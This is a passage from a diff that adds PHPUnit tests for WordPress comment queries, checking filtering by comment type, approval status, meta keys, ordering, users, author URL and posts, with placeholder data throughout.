+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type__not_in_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+		$c6 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type__not_in' => 'luigi',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3, $c4, $c6 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_comments_and_pings() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'mario' ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'luigi' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comments', 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_comment_pings() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'comment', 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pingback() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pingback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_custom_pingpack() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'peach', 'pingback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pings() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_status_approved_array_comment_pings() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c3, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_trackback() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'trackback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_custom_trackback() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'pingback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'type' => array( 'toad', 'trackback' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 12668
+	 */
+	public function test_type_array_pings_approved() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_type' => 'trackback' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0', 'comment_type' => 'trackback' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'type' => array( 'pings' ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c3, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_empty_string() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'spam' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => '',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 21101
+	 */
+	public function test_status_hold() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'hold',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 21101
+	 */
+	public function test_status_approve() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c1 ), $found );
+	}
+
+	public function test_status_custom() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo1' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'foo',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $c2 ), $found );
+	}
+
+	public function test_status_all() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'all',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $found );
+	}
+
+	public function test_status_default_to_all() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_comma_any() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'any',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2, $c3 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_comma_separated() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => 'approve,foo,bar',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 29612
+	 */
+	public function test_status_array() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => 'foo' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '0' ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'status' => array( 'approve', 'foo', 'bar', ),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 35478
+	 */
+	public function test_multiple_post_fields_should_all_be_respected() {
+		$posts = array();
+
+		$posts[] = self::factory()->post->create( array(
+			'post_status' => 'publish',
+			'post_author' => 3,
+		) );
+
+		$posts[] = self::factory()->post->create( array(
+			'post_status' => 'draft',
+			'post_author' => 4,
+		) );
+
+		$posts[] = self::factory()->post->create( array(
+			'post_status' => 'draft',
+			'post_author' => 3,
+		) );
+
+		$comments = array();
+		foreach ( $posts as $post ) {
+			$comments[] = self::factory()->comment->create( array(
+				'comment_post_ID' => $post,
+			) );
+		}
+
+		$q = new WP_Comment_Query( array(
+			'post_status' => 'draft',
+			'post_author' => 3,
+			'fields' => 'ids',
+		) );
+
+		$this->assertSame( array( $comments[2] ), $q->comments );
+	}
+
+	function test_get_comments_for_post() {
+		$limit = 5;
+
+		$post_id = self::factory()->post->create();
+		self::factory()->comment->create_post_comments( $post_id, $limit );
+		$comments = get_comments( array( 'post_id' => $post_id ) );
+		$this->assertEquals( $limit, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id, $comment->comment_post_ID );
+		}
+
+		$post_id2 = self::factory()->post->create();
+		self::factory()->comment->create_post_comments( $post_id2, $limit );
+		$comments = get_comments( array( 'post_id' => $post_id2 ) );
+		$this->assertEquals( $limit, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id2, $comment->comment_post_ID );
+		}
+
+		$post_id3 = self::factory()->post->create();
+		self::factory()->comment->create_post_comments( $post_id3, $limit, array( 'comment_approved' => '0' ) );
+		$comments = get_comments( array( 'post_id' => $post_id3 ) );
+		$this->assertEquals( $limit, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+
+		$comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'hold' ) );
+		$this->assertEquals( $limit, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+
+		$comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'approve' ) );
+		$this->assertEquals( 0, count( $comments ) );
+
+		self::factory()->comment->create_post_comments( $post_id3, $limit, array( 'comment_approved' => '1' ) );
+		$comments = get_comments( array( 'post_id' => $post_id3 ) );
+		$this->assertEquals( $limit * 2, count( $comments ) );
+		foreach ( $comments as $comment ) {
+			$this->assertEquals( $post_id3, $comment->comment_post_ID );
+		}
+	}
+
+	/**
+	 * @ticket 21003
+	 */
+	function test_orderby_meta() {
+		$comment_id = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+		$comment_id2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+		$comment_id3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+
+		add_comment_meta( $comment_id, 'key', 'value1', true );
+		add_comment_meta( $comment_id, 'key1', 'value1', true );
+		add_comment_meta( $comment_id, 'key3', 'value3', true );
+		add_comment_meta( $comment_id2, 'key', 'value2', true );
+		add_comment_meta( $comment_id2, 'key2', 'value2', true );
+		add_comment_meta( $comment_id3, 'key3', 'value3', true );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ), 'order' => 'ASC' ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ), 'order' => 'ASC' ) );
+		$this->assertEquals( 2, count( $comments ) );
+		$this->assertEquals( $comment_id, $comments[0]->comment_ID );
+		$this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+		$comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( array( $comment_id3, $comment_id ), wp_list_pluck( $comments, 'comment_ID' ) );
+
+		$comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( array( $comment_id3, $comment_id ), wp_list_pluck( $comments, 'comment_ID' ) );
+
+		// value1 is present on two different keys for $comment_id yet we should get only one instance
+		// of that comment in the results
+		$comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'key' ) ) );
+		$this->assertEquals( 1, count( $comments ) );
+
+		$comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'meta_value' ) ) );
+		$this->assertEquals( 1, count( $comments ) );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_clause_key() {
+		$comments = self::factory()->comment->create_many( 3 );
+		add_comment_meta( $comments[0], 'foo', 'aaa' );
+		add_comment_meta( $comments[1], 'foo', 'zzz' );
+		add_comment_meta( $comments[2], 'foo', 'jjj' );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				'foo_key' => array(
+					'key' => 'foo',
+					'compare' => 'EXISTS',
+				),
+			),
+			'orderby' => 'foo_key',
+			'order' => 'DESC',
+		) );
+
+		$this->assertEquals( array( $comments[1], $comments[2], $comments[0] ), $found );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_clause_key_as_secondary_sort() {
+		$c1 = self::factory()->comment->create( array(
+			'comment_date' => '2015-01-28 03:00:00',
+		) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_date' => '2015-01-28 05:00:00',
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_date' => '2015-01-28 03:00:00',
+		) );
+
+		add_comment_meta( $c1, 'foo', 'jjj' );
+		add_comment_meta( $c2, 'foo', 'zzz' );
+		add_comment_meta( $c3, 'foo', 'aaa' );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				'foo_key' => array(
+					'key' => 'foo',
+					'compare' => 'EXISTS',
+				),
+			),
+			'orderby' => array(
+				'comment_date' => 'asc',
+				'foo_key' => 'asc',
+			),
+		) );
+
+		$this->assertEquals( array( $c3, $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 30478
+	 */
+	public function test_orderby_more_than_one_clause_key() {
+		$comments = self::factory()->comment->create_many( 3 );
+
+		add_comment_meta( $comments[0], 'foo', 'jjj' );
+		add_comment_meta( $comments[1], 'foo', 'zzz' );
+		add_comment_meta( $comments[2], 'foo', 'jjj' );
+		add_comment_meta( $comments[0], 'bar', 'aaa' );
+		add_comment_meta( $comments[1], 'bar', 'ccc' );
+		add_comment_meta( $comments[2], 'bar', 'bbb' );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'meta_query' => array(
+				'foo_key' => array(
+					'key' => 'foo',
+					'compare' => 'EXISTS',
+				),
+				'bar_key' => array(
+					'key' => 'bar',
+					'compare' => 'EXISTS',
+				),
+			),
+			'orderby' => array(
+				'foo_key' => 'asc',
+				'bar_key' => 'desc',
+			),
+		) );
+
+		$this->assertEquals( array( $comments[2], $comments[0], $comments[1] ), $found );
+	}
+
+	/**
+	 * @ticket 32081
+	 */
+	public function test_meta_query_should_work_with_comment__in() {
+		$comments = self::factory()->comment->create_many( 3 );
+
+		add_comment_meta( $comments[0], 'foo', 'jjj' );
+		add_comment_meta( $comments[1], 'foo', 'zzz' );
+		add_comment_meta( $comments[2], 'foo', 'jjj' );
+
+		$q = new WP_Comment_Query( array(
+			'comment__in' => array( $comments[1], $comments[2] ),
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'jjj',
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $comments[2] ), $q->get_comments() );
+	}
+
+	/**
+	 * @ticket 32081
+	 */
+	public function test_meta_query_should_work_with_comment__not_in() {
+		$comments = self::factory()->comment->create_many( 3 );
+
+		add_comment_meta( $comments[0], 'foo', 'jjj' );
+		add_comment_meta( $comments[1], 'foo', 'zzz' );
+		add_comment_meta( $comments[2], 'foo', 'jjj' );
+
+		$q = new WP_Comment_Query( array(
+			'comment__not_in' => array( $comments[1], $comments[2] ),
+			'meta_query' => array(
+				array(
+					'key' => 'foo',
+					'value' => 'jjj',
+				),
+			),
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $comments[0] ), $q->get_comments() );
+	}
+
+	/**
+	 * @ticket 27064
+	 */
+	function test_get_comments_by_user() {
+		$users = self::factory()->user->create_many( 2 );
+		self::factory()->comment->create( array( 'user_id' => $users[0], 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		self::factory()->comment->create( array( 'user_id' => $users[0], 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		self::factory()->comment->create( array( 'user_id' => $users[1], 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+
+		$comments = get_comments( array(
+			'user_id' => $users[0],
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		) );
+
+		$this->assertCount( 2, $comments );
+		$this->assertEquals( $users[0], $comments[0]->user_id );
+		$this->assertEquals( $users[0], $comments[1]->user_id );
+
+		$comments = get_comments( array(
+			'user_id' => $users,
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		) );
+
+		$this->assertCount( 3, $comments );
+		$this->assertEquals( $users[0], $comments[0]->user_id );
+		$this->assertEquals( $users[0], $comments[1]->user_id );
+		$this->assertEquals( $users[1], $comments[2]->user_id );
+
+	}
+
+	/**
+	 * @ticket 35377
+	 */
+	public function test_get_comments_by_author_url() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://foo.bar' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://foo.bar' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_author' => 'bar', 'comment_author_email' => 'bar@example.com', 'comment_author_url' => 'http://foo.bar/baz' ) );
+
+		$comments = get_comments( array(
+			'author_url' => 'http://foo.bar',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $comments );
+	}
+
+	/**
+	 * @ticket 28434
+	 */
+	function test_fields_ids_query() {
+		$comment_1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		// Ensure we are dealing with integers, and not objects.
+		$this->assertInternalType( 'integer', $comment_1 );
+		$this->assertInternalType( 'integer', $comment_2 );
+		$this->assertInternalType( 'integer', $comment_3 );
+
+		$comment_ids = get_comments( array( 'fields' => 'ids' ) );
+		$this->assertCount( 3, $comment_ids );
+		$this->assertEqualSets( array( $comment_1, $comment_2, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_comment__in() {
+		$comment_1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'comment__in' => array( $comment_1, $comment_3 ),
+		) );
+
+		$this->assertEqualSets( array( $comment_1, $comment_3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_comment__not_in() {
+		$comment_1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$comment_2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$comment_3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'comment__not_in' => array( $comment_2, $comment_3 ),
+		) );
+
+		$this->assertEqualSets( array( $comment_1 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_post__in() {
+		$p1 = self::factory()->post->create();
+		$p2 = self::factory()->post->create();
+		$p3 = self::factory()->post->create();
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post__in' => array( $p1, $p2 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29189
+	 */
+	function test_fields_post__not_in() {
+		$p1 = self::factory()->post->create();
+		$p2 = self::factory()->post->create();
+		$p3 = self::factory()->post->create();
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 7, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post__not_in' => array( $p1, $p2 ),
+		) );
+
+		$this->assertEqualSets( array( $c3 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29885
+	 */
+	function test_fields_post_author__in() {
+		$author_id1 = 105;
+		$author_id2 = 106;
+
+		$p1 = self::factory()->post->create( array( 'post_author' => $author_id1	) );
+		$p2 = self::factory()->post->create( array( 'post_author' => $author_id1	) );
+		$p3 = self::factory()->post->create( array( 'post_author' => $author_id2	) );
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post_author__in' => array( $author_id1 ),
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $comment_ids );
+	}
+
+	/**
+	 * @ticket 29885
+	 */
+	function test_fields_post_author__not_in() {
+		$author_id1 = 111;
+		$author_id2 = 112;
+
+		$p1 = self::factory()->post->create( array( 'post_author' => $author_id1	) );
+		$p2 = self::factory()->post->create( array( 'post_author' => $author_id1	) );
+		$p3 = self::factory()->post->create( array( 'post_author' => $author_id2	) );
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p3, 'user_id' => 1, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
+			'fields' => 'ids',
+			'post_author__not_in' => array( $author_id1 ),
+		) );
+
+		$this->assertEqualSets( array( $c3 ), $comment_ids );
+	}
+
+        /**
+         * @ticket 29885
+         */
+	function test_fields_author__in() {
+		$p1 = self::factory()->post->create();
+		$p2 = self::factory()->post->create();
+		$p3 = self::factory()->post->create();
+		$p4 = self::factory()->post->create();
+
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 1, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => $p1, 'user_id' => 2, 'comment_approved' => '1' ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => $p2, 'user_id' => 3, 'comment_approved' => '1' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => $p4, 'user_id' => 4, 'comment_approved' => '1' ) );
+
+		$comment_ids = get_comments( array(
